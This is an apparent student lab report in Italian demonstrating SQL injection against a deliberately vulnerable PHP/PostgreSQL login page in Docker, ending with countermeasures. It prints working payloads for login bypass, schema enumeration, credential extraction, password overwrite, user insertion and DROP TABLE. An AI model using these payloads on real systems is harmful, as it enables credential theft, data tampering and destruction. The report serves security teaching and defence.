

Relazione Tecnica SQL Injection Attack

Autore

Piva Andrea : 2015518

Obiettivo

Scopo di questo progetto è dimostrare, tramite un'applicazione web vulnerabile, come sia possibile compromettere un database attraverso un attacco di tipo SQL Injection in-band, sfruttando input non controllati.

L'attaccante, agendo senza conoscere la struttura del database, ha progressivamente:

- raccolto informazioni sulla struttura del database,
- esfiltrato dati,
- modificato il contenuto del database,
- compromesso la disponibilità eliminando una o più tabelle.

Tutte e tre le proprietà del modello CIA (Confidenzialità, Integrità, Disponibilità) sono state violate con successo.

1. Ambiente di test

- **Web Server:** PHP 7.4
- **Database:** PostgreSQL
- **Ambiente:** Container Docker con docker-compose
- **Pagina vulnerabile:** index.php

Il backend PHP genera dinamicamente query SQL non protette, vulnerabili a iniezione.

2. Tecniche di attacco usate

- **Tautologia:** per bypassare i controlli login (es: ' OR '1'='1' --)
- **Commento di fine riga:** per ignorare il resto della query (es: --)
- **Query piggybacked:** per concatenare comandi distruttivi come DROP TABLE

3. Fasi dell'attacco

3.1 Raccolta informazioni

Tipo di attacco: **Commento di fine riga**

L'attaccante ha prima testato il numero corretto di colonne presenti nella query originale utilizzando ORDER BY:

```
' ORDER BY 1 —  
' ORDER BY 2 —  
' ORDER BY 3 —  
...
```

Questa tecnica consiste nell'aumentare progressivamente il numero finché la query genera un errore: il valore massimo accettato prima dell'errore corrisponde al numero effettivo di colonne.

Successivamente, l'attaccante ha identificato la tabella e le colonne:

```
' UNION SELECT NULL, table_name, NULL FROM information_schema.  
  tables WHERE table_schema='public ' —  
' UNION SELECT NULL, column_name, NULL FROM information_schema.  
  columns WHERE table_name='utenti ' —
```

Login effettuato!
Benvenuto, utenti

Login

Username:
Password:

Login

Figure 1: Enumerazione delle tabelle

Login effettuato!
Benvenuto, password
Benvenuto, id
Benvenuto, username

Login

Username:
Password:

Login

Figure 2: Enumerazione delle colonne

3.2 Esfiltrazione dati

```
' UNION SELECT NULL, username || ':' || password, NULL FROM  
  utenti —
```

Login effettuato!
 Benvenuto, admin:admin123
 Benvenuto, utente2:password2
 Benvenuto, utente1:password1

Login

Username:

Password:

Login

Figure 3: Esfiltrazione credenziali

3.3 Modifica dati (Integrità)

```
' ; UPDATE utenti SET password='hacked' WHERE username='admin' ;
```

id	username	password
1	admin	admin123
2	utente1	password1
3	utente2	password2
(3 rows)		

id	username	password
2	utente1	password1
3	utente2	password2
1	admin	hacked
(3 rows)		

Figure 4: Modifica della password dell'utente admin

3.4 Inserimento di un nuovo utente

```
' ; INSERT INTO utenti (username, password) VALUES ('hacker', 'hacked') ;
```

id	username	password
2	utente1	password1
3	utente2	password2
1	admin	hacked
4	<u>hacker</u>	hacked
(4 rows)		

Figure 5: Inserimento utente non autorizzato

3.5 Eliminazione della tabella utenti

' ; DROP TABLE utenti ; —

```
mydb=# SELECT * FROM utenti;  
ERROR: relation "utenti" does not exist  
LINE 1: SELECT * FROM utenti;  
                  ^
```

Figure 6: Tabella utenti eliminata

4. Considerazioni finali

L'intero attacco è stato eseguito simulando un utente esterno, senza conoscenze preliminari sul database, e con input manuale via form web. Gli effetti sono stati verificati accedendo al DB da terminale tramite il container Docker PostgreSQL.

Il progetto ha dimostrato la compromissione delle tre proprietà del modello CIA:

- **Confidenzialità:** visualizzazione non autorizzata di dati sensibili.
- **Integrità:** alterazione delle password e inserimento di utenti.
- **Disponibilità:** eliminazione completa della tabella utenti.

5. Contromisure

- Uso di query parametrizzate (Prepared Statements)
- Validazione e sanitizzazione degli input utente
- Limitazione dei privilegi dell'utente SQL usato dal backend
- Monitoraggio e logging delle query sospette